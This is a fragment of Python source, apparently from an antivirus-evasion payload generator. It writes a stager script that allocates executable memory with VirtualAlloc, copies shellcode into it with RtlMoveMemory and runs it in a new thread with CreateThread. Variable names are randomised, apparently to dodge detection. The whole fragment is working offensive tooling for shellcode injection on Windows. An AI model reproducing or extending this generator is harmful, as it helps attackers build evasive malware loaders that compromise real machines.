        ' = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),ctypes.c_int(len('
        + RandShellCode + ')),ctypes.c_int(0x3000),ctypes.c_int(0x40))\n\n')
    PayloadFile.write(RandBuf + ' = (ctypes.c_char * len(' + RandShellCode +
                      ')).from_buffer(' + RandShellCode + ')\n\n')
    PayloadFile.write('ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(' +
                      RandPtr + '),' + RandBuf + ',ctypes.c_int(len(' +
                      RandShellCode + ')))\n\n')
    PayloadFile.write(
        RandHt +
        ' = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),ctypes.c_int(0),ctypes.c_int('
        + RandPtr +
        '),ctypes.c_int(0),ctypes.c_int(0),ctypes.pointer(ctypes.c_int(0)))\n\n'
    )
    PayloadFile.write(
        'ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(' + RandHt +
        '),ctypes.c_int(-1))')
    PayloadFile.close()

    # Create Supporting Files and Print Exit Message
    supportfiles.supportingFiles()
    messages.endmsg()